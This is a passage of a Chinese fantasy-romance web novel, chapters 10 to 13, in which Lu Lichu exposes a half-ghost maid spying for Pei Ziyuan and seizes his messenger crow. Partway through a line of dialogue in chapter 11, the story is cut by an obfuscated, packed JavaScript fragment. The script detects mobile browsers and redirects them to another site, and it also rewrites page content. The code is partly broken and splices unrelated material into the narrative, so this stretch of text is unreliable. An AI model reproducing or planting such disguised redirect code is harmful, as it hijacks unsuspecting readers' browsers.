陆梨初没有做声,只是任由那丫鬟走到自己身后,替自己打整起来。 那丫头倒是没有托大,手中动作很快,不过片刻就替陆梨初梳好了头,只是陆梨初并未露出笑意,她也并未看向那个替她梳头的丫头。 “陆姑娘,您觉得哪个好?”知鹤等得有些不耐烦了,催促道,“我还得去兵营给小少爷送饭呢,别在你这儿误了时辰。” “那便这个吧。”陆梨初随意伸手一点,指的却不是方才替她梳头的那个丫头,而是人群中最为瘦削那个。 知鹤撇了撇嘴,似是觉得陆梨初没有眼光,只是没等他开口呢,陆梨初又开口道。 “知鹤,我初来乍到,想求你一件事儿。” 知鹤本来在陆梨初面前强硬得很,可陆梨初突然软了语气,却叫他一时不知该如何是好。 “陆姑娘——”知鹤再开口时便有些磕绊,“您是客人,我只是个下人,说什么求不求的……” “那我能也将替我梳头的丫头留下来吗?”陆梨初偏头看向方才已经跪了下来的丫头,眉眼含笑,“我挺喜欢她的手艺,也很喜欢……”陆梨初停了停,轻声道,“她身上的味道。” “这有什么的。”知鹤大手一挥,浑不在意地答应了陆梨初的请求。 “还有一件事。知鹤,我听说你从前养过动物,那你能替我照顾着这两只小狗吗?”陆梨初眼睛笑成弯月,嘴角有一浅浅的梨涡。 知鹤见她这样,心里不免觉得先前是自个儿态度不好,忙应了下来。 陆梨初含笑看着知鹤,而虚虚笼在小船儿额上的手却是轻轻点了点它的额头。 10. 第 10 章 第十章 - “陆姑娘。”那个瘦削的丫头没想到自己会被选中,抬头看向陆梨初时瘦削的脸上唯有一双眼睛又黑又圆。 “在我身边不用动不动就跪下。”陆梨初话虽这样说着,视线却是半分没有分给跪在另一侧给她梳头的丫头,“快起来吧,你叫什么名字?” “潮汐。”潮汐从地上爬了起来,瘦如竹竿的手垂在身侧,指尖不安得攥紧了衣衫,揉得那本就洗得发白的衣服更皱两分。 “那你呢。”陆梨初终于是看向了一旁梳头的丫头,那丫头同潮汐不同,虽说穿的衣服上一样有着补丁,可脸上却不似潮汐那般瘦得皮包骨头。 “回姑娘的话。”那丫头说话时也比潮汐大方得体许多,“奴婢叫小柳。” “小柳……”陆梨初轻轻念了遍小柳二字,转头看向一旁立着的知鹤,将手中的小船儿递了过去,“知鹤,那劳烦你领着小船儿和五斤盐去吃点东西。” “哎,我这就去。”知鹤将小船儿抱在怀里,稚嫩的脸上露出笑来,他清了清嗓子,对着旁的未曾被选中的人道,“你们也跟着我走吧。” 方才还站得满满当当的院子一下便空空落落的了。 “小柳,你站到我面前来。”待旁的人走得差不多了,陆梨初轻轻招了招手。 小柳赶忙走到陆梨初身前站定,不等她开口呢,院外传来一声知鹤的惊叫。 听到动静,陆梨初笑得更甚,嘴角隐隐笑出梨涡来了,她起身轻快地跑到院门口,抬高声音道,“知鹤,发生什么了?” 知鹤闷闷的声音传来,“无事,只是这小狗尿了我一身,陆姑娘快回去吧,知鹤自己能处理。” 陆梨初口中虽是说着抱歉,面上却俱是得逞的笑意。她跺着轻快的步子停在了小柳面前,眉眼如黛。 小柳抬头看着她,不知怎的,心头狂跳。 果不其然,陆梨初淡淡的声音似是带了一丝嘲弄,“小柳,我不喜欢你的名字。” 小柳垂在身侧的手不自觉攥紧了,指甲狠狠嵌入掌心当中,丝丝的痛顺着皮肉钻进心底,连带着脸色也有些发白。 “我重新给你起个名字好不好?” “能得姑娘赐名乃奴婢之幸。”小柳颤着唇道,心头的惊恐却是越来越甚。 而陆梨初的声音在她耳边响起,恍若一道闷雷在她的耳边炸开。 “你觉得明霭这个名字如何?”陆梨初绕着小柳抑或该称呼她为明霭转了两圈,而明霭听了陆梨初的话,脸色骤然苍白,张了张嘴正欲说些什么呢,陆梨初却是截断了她的话头。 “潮汐,你去小厨房瞧瞧有些什么,我有些饿了。” “我这就去。”潮汐手脚勤快,听了陆梨初的话忙跑出了院子,恍若一只幼鸟,不消片刻便没了踪影。 而明霭强忍下心头惊惧,开口道,“姑娘有什么需要我做的?” “你倒是沉得住气。”陆梨初瞥了眼面色苍白,却是强撑出笑的女人,“我知道你是那个姓裴的人。昨天那个一直没怎么说话的明霭,就是你吧?” 明霭脸色更白两分,她轻吞了一口口水,“奴婢……奴婢不懂姑娘在说什么。” “不懂?”陆梨初转身往屋内走,脚踝上的银铃随着动作轻晃,发出了阵阵铃铛响。 明霭只觉得自己的魂魄被一双无形的手狠狠攥住了。 她身形微晃似是仍想强撑,可那铃铛声愈发急促,明霭不由伸手攥紧了自己的领口,苍白的唇也被她咬破,鲜红的血顺着她的嘴角滴落。 陆梨初身后传来一声闷响。 她回头望去,明霭正跪在地上,不住颤抖着。 铃铛声歇,那似是承受着巨大痛苦的明霭方才能缓缓抬起头来。 那双赤红的眼,似盛满了苦痛,正狠狠盯着陆梨初。 “怎么样?”陆梨初停了步子,脸上的笑意不见了,冷冷道,“现在想起来了吗?” “陆……陆姑娘。”明霭依旧忍不住颤抖着,方才魂魄被硬生生撕扯的感觉好似还残留在她的体内,叫她连说话都不住颤抖着。 只是陆梨初十分有耐心,她站在屋檐下,冷眼瞧着明霭。 不知过了多久,明霭身上那令她恐惧的触感消失了,她深吸两口气,抬眸看向陆梨初。“陆姑娘,我只是替裴公子做事,我也不想的。” “替裴公子做事。”陆梨初弯唇笑道,“替裴公子做事来我这处做什么?我同裴子远可没什么交情。” “公子……”明霭渐渐平复了情绪,说话时也不再磕磕绊绊,“公子他擅长占卜,公子算出您此时不该在黎安。” “陆姑娘,古鱼国同黎安接壤,古鱼国中多有擅巫术的妖异之人,公子怕您是古鱼国派来的,所以想叫我们看着你。” “明霭,不知道裴子远要是知道了他的奴婢这般轻易就将他的事交代了,会不会失望呢?”陆梨初往回走了两步,坐回了石凳上,“还是你觉得我是个傻的,半真半假说些不重要的便能将我糊弄过去了?” “陆姑娘……”明霭以头触地,字字恳切,“如今我被您发现,又怎么敢再骗你?” “是吗?那这裴子远究竟是个什么人?”陆梨初葱段般修长的指尖轻轻点在石桌上,“一个擅长占卜的,不去当个算命的,来这黎安做什么?总不能是保家卫国吧。” “公子他……”明霭的额头传来钝钝的痛感,她按在地上的手狠狠嵌进土里,指缝间似是被那黑土撕扯着,连带着心口都疼了起来,“公子他只是喜好算卦占卜,来黎安更是陛下的安排,公子也没得选的。” “照你说来,裴子远便是个普通人了?” “是……公子只是个普通人。”明霭抬起头来,额间乌青一片,她满脸真诚道,“公子是裴少傅的嫡长子,您只要派人查一查便知道奴婢所言非虚。” “可一个普通人,身边跟着的却是两个半人半鬼的东西。”陆梨初轻叹一声,“可真叫我大开眼界啊。” 听了陆梨初的话,明霭一直抖动着的身子渐渐停了下来,看向陆梨初的眸光惊疑不定,“你…你究竟是什么人。” 只是陆梨初并未回答她,只是微微弯下身子,微凉的指尖抵 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陆梨初这才想起,自己方才为了捉弄知鹤,在小船儿身上用了个小法术。 “知鹤。”看着知鹤这幅逃难般的模样,陆梨初没忍住轻笑出声,明知故问道,“你这是怎么回事。” “陆姑娘。”知鹤略有些丧气,仍由手中的小狗挣脱束缚跑向了陆梨初,“不是是不是知鹤同这小狗崽相冲,自打领上它,我就没有一件顺心事儿。” 知鹤伸手抹了一把脸,袖子上还有方才小船儿新鲜留下的尿渍,那味道叫知鹤眉眼耸搭着,几乎要哭出来了。 “这小狗崽先是尿了我一身,换上干净衣服它便又尿。”知鹤苦着脸,张开手展示给陆梨初看,“这已经是我最后一身干净衣服了!” “真是对不住。”陆梨初伸手将小船儿同五斤盐抱了起来,“是我不好,不该叫你代为照顾它们的。” 陆梨初虽是说着抱歉的话,可脸上却是瞧不出半点儿歉意。 只可惜知鹤一直耷拉着脑袋,未曾看到陆梨初的表情。听到陆梨初这样讲,愈发觉得自己先前对陆姑娘的偏见太甚。 “陆姑娘,这怎么能怪你。”知鹤垂头丧气着摆摆手,“是我自个儿没照顾好它们。” “那知鹤你快回去吧,好好收拾收拾。”陆梨初轻抚着小船儿的脑袋,将那术法剔了出去,“我去同李嬷嬷讲,叫她今日给你一天假。” “多谢陆姑娘。”知鹤抬起头来,满脸感激,“您可真是个好人!” 知鹤原先对陆梨初的不满,无非是自家小少爷从未同哪家姑娘走得近过,知鹤见他将陆梨初带了回来,一时只觉得自家水灵灵的白菜被猪拱了。 可这两日相处下来,分明陆姑娘才是那水灵灵的白菜才对。 人长得美貌,心地又善良。自己先前的态度那般差,她也毫不在意。 自家小少爷简直配不上陆姑娘! 知鹤垂着脑袋往回走的路上,自家小少爷才是猪的想法愈发清晰深刻。 11. 第 11 章 第十一章 - “陆姑娘。” 陆梨初在去寻李嬷嬷的路上恰巧遇见了前来寻她的李嬷嬷。 “老奴真要去找您呢!”李嬷嬷脸上带笑,“今儿厨房有批新鲜的鱼,夫人让我来同你说一声,晚膳同她一道用。” “多谢李嬷嬷。”陆梨初弯了弯眼,“李嬷嬷,我找您是要同你说件事儿。” “知鹤他替我照顾狗崽崽,却被尿了几身,能不能准他一天假好好收拾收拾?”陆梨初亲昵地凑在李嬷嬷身边,她惯常讨长辈的喜欢,自然这个长辈里面不包括陆川以及一众叔伯。 “这有什么的。”李嬷嬷满口应了下来,“陆姑娘,知鹤前两日给您脸色瞧,你还愿意替他说话,我得替他好好谢谢您。” “李嬷嬷言重了。”陆梨初弯了弯唇,“知鹤还是个孩子,我哪能同他计较。” “知鹤这孩子,也是个苦命的。”人上了年纪,便爱回忆过往。李嬷嬷叹了口气,同陆梨初并肩走着,“知鹤是从前宋府管家的孩子。” “宋府的管家?”陆梨初听起故事来便来了兴致,忍不住开口问道,“可我来府里也有几日了,未曾见过管家。” “管家已经去世快十年了。”李嬷嬷声音有些苦涩,“那时候知鹤才几岁,路都走不稳呢。” “陆姑娘,如今黎安富庶,可您不知道,十年前古鱼国兵力富强的时候,大家过得是什么日子呢。” “古鱼国的士兵围了黎安城,城内百姓俱是出不了城。大家都是饿得面黄肌瘦,走两步路便要打摆子呢!” “那一仗足足持续了半年,众人被困城中,早就弹尽粮绝,城里百姓但凡是会走的,都拿着武器去守城楼。知鹤那时候半大的孩子便跟在大人后面,他拿不动兵器,便手里拿着擀面的棍子,管家也是在那一仗中受伤去世的。夫人老爷心中对知鹤有歉意,平日对他便像对自家孩子一样。叫他脾气大了些。” 李嬷嬷伸手揉了揉眼睛,苦笑道,“陆姑娘,您瞧瞧,这风可真大,吹得老奴眼睛生疼。” 陆梨初从未经历过李嬷嬷口中所说的事情,一时不知该说些什么,有些手足无措。 不过李嬷嬷似乎只是想感慨一下,很快便调整了情绪,“不过都过去了,如今大炎兵力富足。古鱼国不敢再同当初那样大举来犯了。”李嬷嬷拍了拍陆梨初的手,“陆姑娘不用担心,便是宋将军同大少爷不在,有小少爷在,那些蛮子也不敢来犯。” 闲聊间,两人很快便走到了宋夫人的屋子外,宋夫人正坐在院子当中绣帕子,见到陆梨初忙放下了手中的针线,招手唤她过去。 “今天知鹤带过去的丫头怎么样?可是李嬷嬷亲自挑的呢。”宋夫人拉着陆梨初的手坐了下来,“梨初你选到合心意的了么?” “选到了。”陆梨初点了点头,“多谢宋夫人。” “这是怎么了,怎么眼眶还有些红呢?”宋夫人仔细端详间才发觉陆梨初的眼尾发红,有些疑惑地抬头去看李嬷嬷,才发现自己这个平日总是稳重的老嬷嬷眼眶也是红的。“李嬷嬷,这是怎么了,怎么你瞧着也像哭过呢?” “是老奴失态。”李嬷嬷上前斟茶,“我同陆姑娘讲了十年前的事儿,陆姑娘心善,听不得这些。” “没事,都过去了。”宋夫人伸手拍了拍陆梨初的手背,“梨初你瞧,我给你绣了个帕子,这个花样喜不喜欢?” 陆梨初伸着脑袋,看着白色绸缎上,恍有花香的牡丹点了点头道,“好看,宋夫人手可真巧。” “梨初啊。”宋夫人放下了手中的东西,“唤我伯母吧,昨日李嬷嬷同你说的事儿还记得么?” 陆梨初点了点头,宋夫人见状继续道,“赏花宴定在三日后,老爷同宴行明日便能回来了,明儿我领着你见他们。” “宴行是渝舟的大哥。”宋夫人重新拿上了手中的花样子,细细将宋府的事儿讲给陆梨初听。 既然要在外人面前说陆梨初是宋家表亲,这内里的关系总要细细告知了陆梨初,回头才不会露馅儿。 “渝舟还有个姐姐,叫听棠。”提到自己的女儿时,宋夫人脸色都柔了几分,“听棠她同你一样,乖巧懂事。只可惜十年前便进了宫,而宋家守在黎安无诏不得入京,不知何时才能叫你见到她呢。” “不见她也好,在黎安总归不会有人寻宋家的麻烦,若是回了炎京,说不定有哪些烦心事呢。”宋夫人手巧,片刻间又一朵牡丹花绣好了。 “夫人何必感怀,小姐在宫中过得好。”李嬷嬷立在一旁,劝抚道,“何况如今您身边有陆姑娘陪着,也算慰藉。” “是,瞧见梨初我便向瞧见了自个儿的女儿。”宋夫人带着笑,眼尾有细细的纹路,叫陆梨初瞧了无端心安,“有梨初在,这两日我睡得都好些了。” 三人闲谈间时间过得很快。日头很快便暗了下来。 宋渝舟忙完兵营的事情回到府中时,正好是晚膳的时间。 宋渝舟一回府便往宋夫人的院子赶。宋夫人这些年身体总有些小毛病,而晚上有吃不下多少东西,时常半夜肚子不适,辗转难眠。 如今宋渝舟算不上太忙,便想着早些回来陪着宋夫人一道用膳,好叫她多吃些。 只是半只脚才踏进院子,院子内的笑闹声便歇了。 院内院外面面相觑。 “母亲。”宋渝舟的视线落在用了大半食物的桌上,宋夫人见到他脸上的笑意也凝固了一瞬。 “渝舟回来啦?快来坐下。”宋夫人转头吩咐李嬷嬷道,“叫厨房再弄些热食来给少爷。” 宋夫人说得极快,好似这样便能掩盖自个儿忘了自己还有个儿子未曾回来,她们便先行用了晚膳这件事儿。 “方才我还在同梨初提起你小时候的事儿呢。”宋夫人含笑看向陆梨初,宋渝舟也循着她的视线看过去,陆梨初眼睛亮亮的,鸦羽般的睫毛轻轻颤动着,脸颊上染了一层淡淡的粉。 宋渝舟垂下眼眸,在一旁坐下,“母亲今儿胃口不错?” “是啊。”宋夫人看着面前光了大半的餐碟,似乎也有些意外,“今儿一边同梨初闲聊,一边吃着不觉就吃了这么些。” “今日的鱼很新鲜。”陆梨初道,“鱼肉鲜嫩,汁多味美。应当好生赏一赏厨子。” “我瞧啊,是陆姑娘衬托得鱼肉美味。”李嬷嬷很快便从厨房端来了热的汤食。“小少爷,快吃吧,回头凉了味道就不好了。” 一口热汤下肚,隐隐作痛的肚子舒缓下来。 宋渝舟抬头环视一周,状似随意地开口问道,“今儿怎么没瞧见知鹤?” “知鹤今天照顾小船儿的时候被尿了几身,我央李嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282699|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷给了他一天假。”陆梨初看向宋渝舟答道。 “小船儿?” “昨天集市上梨初买的两只小狗崽,其中一只就叫小船儿。”宋夫人帮着补充,“你慢些吃,晌午在兵营吃了些什么?” 宋渝舟手中动作稍稍一顿,“随意吃了些。” 闻言宋夫人自是不满,微微皱起眉头似是想要教训宋渝舟。 而陆梨初却是突然想起了什么,打着圆场道,“宋伯母,让宋小将军吃饭吧,一直说话汤该凉了。” 陆梨初倒不是好心替宋渝舟打圆场,叫他免去一顿骂,而是想起了早上知鹤说的话。 早间知鹤催促她快点挑选时,应当是提过晌午得去给小少爷送饭。 然而自己却为了捉弄知鹤在小船儿身上使了个小法术,想来满身狗尿的知鹤应当也把给宋渝舟送饭的事情忘去了九霄云外。 宋渝舟一整日未曾吃东西了。 而晚膳却又用得太多,叫他一时不是很舒服。 倒不是宋渝舟贪嘴才会吃多了,而是每每当他想要放下手中的筷子时,坐在对面的陆梨初便会无辜地睁大眼睛,让他再用一些。 宋渝舟不忍驳了陆梨初的好意,只有硬着头皮将自己给吃撑了。 最后还是宋夫人见他面前空了一堆盘子,开口阻止,这顿磨人的晚膳才算结束了。 待二人从宋夫人房里出来,夜色已经微浓。 “陆姑娘这两日还习惯吗?” 陆梨初走在宋渝舟的右侧,手里还抱着那只白色的小狗。 “多谢宋小将军关心,一切都好。”陆梨初发现每当自个儿喊宋小将军时,宋渝舟总是会不甚自在地伸手去碰鼻头,又或是轻声咳嗽,不免觉得好玩。 是以不长的一段路,硬生生叫宋渝舟走出了漫长的感觉。 一路上,身旁的小姑娘便没安静下来过。 一时是,“宋小将军,你今日都做了些什么?” 一时又是,“宋小将军,你瞧,这树枝儿发新芽了。” 宋渝舟倒不觉得聒噪,只是那一声又一声的宋小将军不似落在他耳尖,反倒像是落在他心头。 咚咚咚—— 叫他一时不知今夕何夕。 虽说路上时,宋渝舟觉得漫长,可见到了陆梨初的院子时,宋渝舟又莫名觉得方才的路太短。 “宋小将军。”陆梨初停在了院门前,“还没问过宋小将军喜欢什么样的姑娘。” 夜色浓厚,遮掩了宋渝舟渐渐变红的耳根。 他一时不知该往哪儿瞧,视线在空中乱转,最终落在了陆梨初鹅黄色的衣衫上。 鬼使神差地,宋渝舟没有觉得陆梨初的问题荒唐,反倒是下意识地作答道,“爱穿黄色便好。” 回答完,宋渝舟猛然回过神来,后退了半步,“陆姑娘,宋某送到这儿就先回了,早些休息。” 陆梨初点点头,随意道,“明日见。” 宋渝舟似是有人在身后撵一般,走得飞快。 可走出去没多久,他又放慢了步子,回身望向已经落了门的小院。 而院内,陆梨初微微皱眉似是在回忆什么,手里有一下没一下地摸着小船儿。 “黄色……”陆梨初似是想起了什么,脸上带了笑,“那日许姑娘穿着的就是象牙黄的裙衫!” 12. 第 12 章 第十二章 - 东院儿书房里悠悠点起灯来。 知鹤歇了一整日,见书房的灯亮了,便提着下午新买的点心过去了。 “小少爷。”知鹤探出个脑袋,“您回来了?” 宋渝舟坐在桌案前,面前摆着一份战舆图。听到知鹤的声音,并未抬头去看,悠悠开口道,“我原先还在想呢,我身边应当有个小书童。” “小少爷,您这说的什么话。”知鹤举起手中的食盒,邀功似的晃了晃,“水云轩的点心,费了老命才抢到的。特地送来给小少爷您吃。” “废了老命。”宋渝舟提笔不知在写些什么,听了知鹤的话摇了摇头,略有些无奈道,“我还不知水云轩的人同你最是熟稔?怕是你只要提前递个条子便有人早早给你送来吧?” “小少爷。”知鹤将手中的食盒放了下来,打开木质的盖子,一股糕点的清甜便悠悠散开。 若是平日里宋渝舟应当会食指大动,免不了吃上几块。可今日晚膳用得太多,几乎堵到了喉咙,闻见那味道,宋渝舟只觉得反胃,忙摆手道,“收起来罢,今儿没什么胃口。” “小少爷,这点心得趁着新鲜吃,明儿吃就不如今天这般好吃了。”知鹤嘴角微瞥,口中虽是念叨着,手里动作却是听了宋渝舟的话,将糕点重新收回了食盒里,盖上了盖子。 “那你去瞧瞧陆姑娘歇了没有。”宋渝舟手中笔顿了一顿,“若是没歇下,便送去她那儿吧。” “哎,我去瞧瞧。”听了宋渝舟的话,知鹤将食盒抱进了怀里,点了点头。 见他毫无不满,宋渝舟略有些诧异地抬头看向前两日提起陆梨初时还吹胡子瞪眼的知鹤,奇怪道,“怎么,今儿转了性?不同陆姑娘拌嘴了?” “小少爷,陆姑娘远来是客,我们当主家的怎么能那般小气。”知鹤看着自个儿面前已是娶妻年龄的宋渝舟,突然便操起心来,语重心长道,“小少爷,您也不小了,不能整日只知道领兵打仗,夫人为了您的终身大事可是愁坏了。” “知鹤,你在说些什么。”宋渝舟手腕一顿,一滴墨点落在了纸上,很快便晕染开来。宋渝舟瞧着那毁了整张纸的墨点,不由叹了口气,放下了手中的笔,往下自己那个总是跳脱的书童,“我是愈发看不明白你了,整日不知想些什么。” “小少爷,您又不是不知道。”知鹤放下手中食盒,往前走了两步,满目诚恳,“从前夫人提起这事儿,您总说不急,如今一晃,再过上几个月,便是您行冠礼的日子,也是时候寻个好人家的姑娘……” 知鹤还愈再说呢,宋渝舟随手摸起案上的一卷书,丢向了知鹤,“就你整日多嘴,快去送东西,晚了陆姑娘该歇下了。” 知鹤抱起了食盒,退得飞快,口中仍旧念念有词,“我瞧陆姑娘就不错,心地善良,还是咱们宋家的表亲,亲上加亲最适合不过了。” 见宋渝舟又摸起了一卷书,知鹤忙垂了头不再多说,飞似得跑出了院子,朝着陆梨初的院子去了,只留宋渝舟一人坐在书房里,对着面前的舆图出神。 烛光轻晃,将宋渝舟的影子投在了窗户上。 宋渝舟偏过头去,视线似乎是同窗上影子对上了,也不知过了多久,一旁烛台发出一声轻响。 宋渝舟似是被那响声震得回了神,敛眉重新看向面前的舆图。 他再次提笔,握笔的手骨节分明。 只是那提起的笔却是久久未曾落下。 - “陆姑娘——”知鹤叩响了院门,不等他叩响第二下,木门便从里面打开了。 “知鹤?怎么这个时候来了?”陆梨初的声音顺着夜风传了过来,断断续续地。 知鹤看向来开门的小丫头,白日瘦瘦小小的,拾掇一番后倒叫知鹤有些瞧不出来了,“拿好给姑娘送过去。”知鹤将手中的食盒递给了潮汐后,扬声道,“陆姑娘,小少爷差我来给您送点心,水云轩的点心在黎安算得上头名。” “点心?”也不知陆梨初方才在院子里做什么,凑上来时一双脸似是有些泛红,青丝被尽数绾起,垂落在额角的两缕似是被汗水打湿了,贴在了她的脸颊上。 “是水云轩的点心。”知鹤垂了眼,“小少爷特地差我送来的,趁着新鲜可以用上两块。” “点心送到了,那知鹤便先走了。”自打觉得陆梨初不错后,知鹤在她面前别提多守规矩了。 “那便多谢知鹤你了。”陆梨初示意潮汐拿着食盒进了院儿,耳边隐隐有狗吠声,“知鹤,我已经教好了小船儿,不会像今日这般了,你若有空便可以来教教潮汐,怎么照顾它们才能叫它们长得又高又壮。” “哎。”知鹤难得守规矩了半分,听了陆梨初的话,又猛然抬起头来,满脸欣喜,“姑娘快回去吧,我便先回了。” 知鹤的身影很快便消失在了暮色当中。 潮汐已经将点心从食盒里取了出来,淡淡的清甜香味已经在小院儿当中散了开来。 陆梨初用湿了的帕子静了手,坐在石凳上捻起一块方形糕点来,入口即化,软糯清甜。 陆梨初眼睛亮了亮,将面前的碟子往前推了推,“潮汐,你也吃两块。” “姑娘,这不合适。”潮汐连连摆手,好似陆梨初叫她吃的不是什么点心,反倒是什么毒药一般。 陆梨初却是强硬地拿起一块,递给了潮汐,“快些吃,可不要叫我催促第二遍。” 潮汐捻着那块糕点,小心翼翼地咬了一口。 她家里便是连口糙米粥都喝不上了,若不是穷困至死,潮汐也不会被父母卖给人牙子,只为了换两袋小米。 潮汐小口尝着手中糕点,心中对陆梨初的感激更甚。 月光如银,洒满了院子,难得的静谧。 “姑娘——”一声略有些僵硬的声音打破了这份静谧,陆梨初同潮汐一同望向声音来源。 是明霭。 “都怪我。”潮汐慌忙放下手中的糕点,跑向了手中正扶着一根圆木的明霭,“我给忘了。” 方才院儿里的三人正在扎秋千——陆梨初动嘴,而潮汐同明霭动手。 只是方才知鹤找上门来,潮汐上前去开门,只剩 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葱玉般的指尖落在书页上,陆梨初手中动作停了停,抬眸看向潮汐,“你也早些去休息吧。” 待潮汐退了下去,陆梨初靠在床头好一会儿,方才阖上了书页,起身走到床边。 弯月悬在头顶,而那黑鸦仍旧同潮汐所说那般,在院顶来回飞着,时不时扯起嗓子来上那么一声,尖锐刺耳,难听得紧。 陆梨初瞧着那只黑鸦,斜斜靠在窗户边,修长的手指按在窗沿上,轻轻点着。 而那黑鸦却像是通人性的,瞧见人了,一个猛子冲了下来,只是冲了一半,似是认出了陆梨初不是它要找的人,又急忙停在了半空中,险些从天上栽下去。 陆梨初瞧着这一切,不由轻笑出声,“还不如鬼界那群只知吃的黑鸦聪慧。” 只见她抬手轻轻一挥,便又关上窗户,躺回了床上。 陆梨初睡得很好,可有些人却不似她这般,能痛快入眠了。 裴子远再一次推开窗户,见派去取信的黑鸦仍旧没回来,略有些烦躁。 初阳跪坐在一旁,手中正在替裴子远泡茶。 “公子,您且坐下安心等着,明霭许是被什么牵绊住了,一时没能传信回来。” 听了初阳的话,裴子远前后走了两步,坐了回去,冷冷望向初阳,“明霭不如你机灵,怎么偏深早上你却被母亲绊住了,没能同她一块儿混进牙婆子的人里去。” 初阳手中动作微顿,猛然跪了下去。再抬头时,一双眼里却是蓄满了泪,“公子,您这话可真叫初阳伤心。” “夫人那个情形您也不是不知道,时好时不好,奴婢还能提前预知不成?”初阳垂下眼去,话语中悲切更甚,“我知公子不放心我同明霭,可公子,这些年每封寄回炎京的信,奴婢都给您看过……” 低低的啜泣声响起,初阳抬手掩目,“奴婢对公子的心,难道公子还不知吗?” “行了。”裴子远有些疲惫地阖上双眼,“下去吧,我这儿用不着你。” 13. 第 13 章 第十三章 - 星穹高悬,四下寂静无声。 是以那重物猛然撞上窗户的声音则显得分外明显。 裴子远缓缓睁开眼,起身走向发出声响的窗边。伸手推开了那隐隐落着红印的窗户。 窗沿上,那只去取信的黑鸦,正双脚朝天,身子早就僵硬了。 裴子远的视线匆匆掠过那只早就死僵了的黑鸦,伸手似是想要将它取回来,只是手堪堪到了那黑鸦的上方。 原本躺在窗沿上的黑鸦尸体便消失不见了,只余一沓枯叶。 随着风从窗沿上飘落,落进了黝黑的泥土中。 裴子远后退半步,眼中神色晦暗不明。 一声轻响。 原先被打开的窗户死死关上,便是连一阵风都透不进来。 “姑娘。”潮汐本以为陆梨初还睡着,轻手轻脚地掀开帘子,走进内屋,见陆梨初已经端坐在桌旁了,不由一怔。“您这就醒了?” “嗯。”陆梨初手中不知拿着根什么须须,正逗弄着面前一只呆呆傻傻立在桌上一动不动的黑鸦。“明霭呢?唤她来给我梳头。” “这就去。”潮汐手脚麻利地端来热水,有些好奇地看着那只黑鸦,“姑娘,这乌鸦怎么一动不动,像个假的。” 似是听明白了潮汐的话,那黑鸦动了动翅膀,偏过头啄了啄身上翘起的毛。 “呀,竟是活的。”潮汐瞧着那黑鸦惊讶道。 “回头给我寻个鸟笼子来。”陆梨初伸出一根指头,按在了那黑鸦额间,“免得成日在院外飞来飞去,住在笼子里才好,才能瞧清楚这院子里日日发生了些什么。” 明霭来得晚,只听到了陆梨初的后半句话。 而那黑鸦见着她,却是啊了一声。好似有人敲响了破锣。 只是陆梨初淡淡望了眼那黑鸦,原本还有着的长串的叫声应是被那黑鸦咽了回去,默默转了个个儿,用尾巴对着明霭。 明霭膝头一软,猛地跪了下去。 潮汐觉得奇怪,忙推了推她的肩道,“明霭你这是做什么?快给姑娘梳头,姑娘今儿还要去宋夫人院里呢。” “潮汐。”陆梨初开口拦住了潮汐的话头,“你先下去寻个笼子来。” “我这就去。”潮汐闻言不再多问,捧着手中铜盆退了下去。 落门的声音在明霭身后响起,明霭的身子随着那声响俯了下去,声音微微颤抖着,“姑娘,我……” “昨日你说,那姓裴的只是喜好占卜。”陆梨初弯起指节,在桌上轻叩两下,那原本背对着明霭的黑鸦扭着身子,站在了陆梨初指头上。“一个喜好占卜的,身边不光跟了两个半人半鬼的东西,就连这妖鬼才能驱使的黑鸦也能听他的。可真叫我大开眼界。” “姑娘。”明霭身子抖若筛糠,“我没有将您的事儿传信回去。” “是,那我自然知道。”陆梨初弯眉笑了起来,缓缓站起了身,坐到了铜镜前。 明霭见状忙从地上爬了起来,站在陆梨初身后,替她绾起发来。 “我只是很是好奇,这裴子远是从哪儿学的占卜,身边竟有这么多方外之物。”陆梨初看着铜镜中有些模糊的自己,随手一抛,那黑鸦便飞了起来,在屋子里盘旋两圈,又站回了桌上,似是半点想跑的心思都没有。 明霭见状,心中惊疑更甚。 要说起来,这只黑鸦在裴子远的心中可是比她同初阳加在一起还要重要得多。 且不论她同初阳本就是炎京里派来看着裴子远的。 便是她们二人从一开始就跟着裴子远,也同这黑鸦毫无比拟的可能。 明霭同初阳。 不过是两个半鬼罢了。除了一些小法术,旁的没什么值得裴子远高看两分的。 可这黑鸦,却是切切实实的妖鬼之物。 同人心,更是能往来于人鬼两界。 传言便是炎京当中司星府内,都只有两只这种从地下飞上来的黑鸦。 这般想着,明霭便又要跪了下去。 只是那黑鸦却是歪了歪脑袋,黑豆一样的小眼睛盯着陆梨初片刻后,再次飞了起来。 那黑鸦不过是绕着明霭身侧飞着,明霭便觉得一股无形地里扯住了她,叫她跪不下去。 “跪来跪去看得我心烦。”陆梨初正细细比划着手中的两只珠钗,并未分给明霭半分视线,“裴子远的事儿,我没什么兴趣。” 陆梨初总算选出了一只,明霭见状忙伸手替她细细插上珠钗。 “但是你同这只小鸟,我倒是好奇的紧。”陆梨初站起了身,往屋外走去,“若是想说了那便同我讲,若是不想那便罢了。” 眼瞧着陆梨初快要踏出屋子了,明霭攥紧了自个儿的手,掌心被她圆润的指甲掐出了一道又一道的红痕。她紧盯着陆梨初的背影,涩涩开口道,“陆姑娘……” 陆梨初停了步子,却是没有回头。 而等在院子里的小船儿同五斤盐见她不动了,尾巴摆得更快了些,伸长个舌头,跑来又跑去。 “陆姑娘,有些事儿,明霭不是不想说。”明霭俯下身去,心头有了决断,“只是明霭想活。” 陆梨初回头看向趴跪在地上的人,日光从她身后袭来,叫她有些看不清面前人的身形。 若是旁人来看,只当是丫鬟惹得小姐不顺意,正跪着认错。 可在陆梨初眼里,面前跪着的那人身上溢出一丝丝断裂的鬼气,那鬼气在阳光中沉浮,循着尘埃,渐渐涌向自己。 最终同她身上那浓郁厚重的鬼气连结在一处,叫人分不出彼此来。 “起来吧。”陆梨初走到明霭身前站定,“我身边的人,旁人取不走她的性命。” “只是我身边从不留有二心的人。” 明霭抬起头看向站在自己身前的人。 她不知面前这人是何来历,更想不出有什么人能同控制着她的司星府对抗。 可是明霭却无端觉得心安。 